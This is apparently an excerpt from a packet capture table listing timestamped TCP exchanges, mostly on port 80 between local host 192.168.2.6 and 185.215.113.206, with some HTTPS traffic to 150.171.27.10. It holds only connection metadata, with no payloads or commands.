Dec 8, 2024 17:45:44.869401932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.869406939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.869462013 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.870300055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.870449066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.870502949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.870554924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.871345997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.871401072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.871539116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.871597052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.872478962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.872548103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.872572899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.872623920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.873564959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.873614073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.873749971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.873812914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.874727011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.874805927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.874831915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.874878883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.875833035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.875922918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.876002073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.876060963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.876945019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.877028942 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.877152920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.877204895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.878053904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.878119946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.878154993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.878256083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.879159927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.879229069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.879271984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.879343033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.880280018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.880384922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.880387068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.880428076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.881393909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.881473064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.881526947 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.882584095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.882682085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.882685900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.882750988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.883641958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.883706093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.883742094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.883795023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.884819031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.884856939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.884860039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.884907961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.885868073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.885922909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.886002064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.886086941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.886985064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.887073040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.887110949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.887173891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.888155937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.888230085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.888261080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.888305902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.889230013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.889275074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.889355898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.889405966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.890351057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.890407085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.890445948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.890506983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.891443014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.891551971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.891556025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.891602993 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.892714977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.892772913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.892812967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.892894983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.893699884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.893795967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.893825054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.893862963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.894809961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.894958019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.894994974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.895015001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.895925999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.895975113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.896038055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.896193027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.897037029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.897102118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.897301912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.897365093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.898174047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.898309946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.898318052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.898365021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.899311066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.899352074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.899362087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.899416924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.900408030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.900525093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.900583029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.901688099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.901772976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.901849031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.902730942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.902751923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.902786016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.902813911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.903798103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.903902054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.903928995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.903976917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.904897928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.904973984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.905039072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.905086040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.905992985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.906086922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.906181097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.906235933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.907228947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.907308102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.907346010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.907413006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.908360958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.908443928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.908452034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.908493996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.909430027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.909545898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.909550905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.909600973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.910706997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.910784960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.910811901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.910866022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.911561966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.911624908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.911658049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.911710978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.912769079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.912832022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.912892103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.912945032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.913837910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.913885117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.913922071 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.914006948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.914612055 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.914632082 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.914704084 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.914732933 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.914789915 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.914913893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.915019035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.915020943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.915240049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.916049004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.916142941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.916172981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.916213989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.917151928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.917263031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.917342901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.918327093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.918405056 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.918464899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.918531895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.919482946 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.919543982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.919558048 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.919603109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.920521975 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.920566082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.920629978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.920718908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.921633959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.921674013 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.921746016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.921843052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.922756910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.922807932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.922883987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.922946930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.923911095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.924002886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.924050093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.924105883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.925014973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.925111055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.925133944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.925154924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.926125050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.926203012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.926338911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.926412106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.927187920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.927243948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.946033955 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.946048975 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.946121931 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.946134090 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.946177006 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.958760023 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.958834887 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.959363937 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.959369898 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.959611893 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.959616899 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.971215010 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.971230984 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.971301079 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.971318007 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.971374989 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.989317894 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.989340067 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.989415884 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.989425898 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.989480972 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.060569048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.060623884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.060678959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.060678959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.060836077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.060908079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.060992956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.061068058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.061934948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.061990023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.062057972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.062102079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.063133955 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.063189030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.063221931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.063265085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.064357042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.064404011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.064471006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.064574003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.065350056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.065485001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.065504074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.065560102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.066467047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.066545963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.066612005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.066677094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.067559958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.067625046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.067660093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.067709923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.068694115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.068747997 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.068826914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.068906069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.069830894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.069897890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.069927931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.070043087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.070920944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.071003914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.071121931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.071197033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.072032928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.072091103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.072124004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.072174072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.073280096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.073335886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.073404074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.074273109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.074346066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.074378014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.074435949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.075458050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.075603962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.075664997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.075716972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.076541901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.076611996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.076836109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.076998949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.077605009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.077676058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.077738047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.077780008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.078732967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.078802109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.078825951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.078907967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.079843044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.079902887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.079982996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.080039978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.080964088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.081054926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.081079960 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.081123114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.082048893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.082159996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.082195044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.082250118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.083203077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.083324909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.083354950 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.083414078 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.084305048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.084428072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.084477901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.085422993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.085467100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.085555077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.085712910 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.086599112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.086698055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.086730003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.086785078 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.087658882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.087708950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.087758064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.087758064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.088824034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.088871002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.088926077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.088984966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.089878082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.089998960 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.090013981 CET	49805	80	192.168.2.6	185.215.113.206
